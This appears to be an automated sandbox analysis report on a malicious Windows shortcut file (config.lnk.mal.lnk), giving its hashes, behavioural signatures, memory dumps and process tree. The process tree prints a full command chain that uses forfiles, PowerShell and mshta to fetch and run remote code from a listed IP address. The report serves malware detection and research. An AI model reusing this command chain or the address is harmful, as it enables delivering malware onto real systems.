Analysis
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max time kernel
41s -
max time network
48s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
02-07-2024 10:40
Static task
static1
Behavioral task
behavioral1
Sample
config.lnk.mal.lnk
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
config.lnk.mal.lnk
Resource
win10v2004-20240508-en
General
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Target
config.lnk.mal.lnk
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Size
1KB
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MD5
c6d3234e6d234ac35340b68402d65f7d
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SHA1
b6af26d59817c43729d48c46b9a4feee284f94eb
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SHA256
85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61
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SHA512
78794b7a77cd027b8dce320b6d1aaf918600a2d5c350ee676c705700a739fe7e55104ba29475ef6555adce4fec2ba0f13b0c9ca10d9730b7d8cfa44632d460b4
Malware Config
Extracted
http://149.51.230.198:5566/config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 2 552 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2876 powershell.exe 2876 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2876 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exeforfiles.exepowershell.exedescription pid process target process PID 2788 wrote to memory of 3560 2788 cmd.exe forfiles.exe PID 2788 wrote to memory of 3560 2788 cmd.exe forfiles.exe PID 3560 wrote to memory of 2876 3560 forfiles.exe powershell.exe PID 3560 wrote to memory of 2876 3560 forfiles.exe powershell.exe PID 2876 wrote to memory of 552 2876 powershell.exe mshta.exe PID 2876 wrote to memory of 552 2876 powershell.exe mshta.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\config.lnk.mal.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\forfiles.exe"C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta http://149.51.230.198:5566/config"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. mshta http://149.51.230.198:5566/config3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" http://149.51.230.198:5566/config4⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4t5jcpn.pjg.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2876-0-0x00007FF8B17D3000-0x00007FF8B17D5000-memory.dmpFilesize
8KB
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memory/2876-1-0x000002508EFB0000-0x000002508EFD2000-memory.dmpFilesize
136KB
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memory/2876-11-0x00007FF8B17D0000-0x00007FF8B2291000-memory.dmpFilesize
10.8MB
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memory/2876-12-0x00007FF8B17D0000-0x00007FF8B2291000-memory.dmpFilesize
10.8MB
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memory/2876-15-0x00007FF8B17D0000-0x00007FF8B2291000-memory.dmpFilesize
10.8MB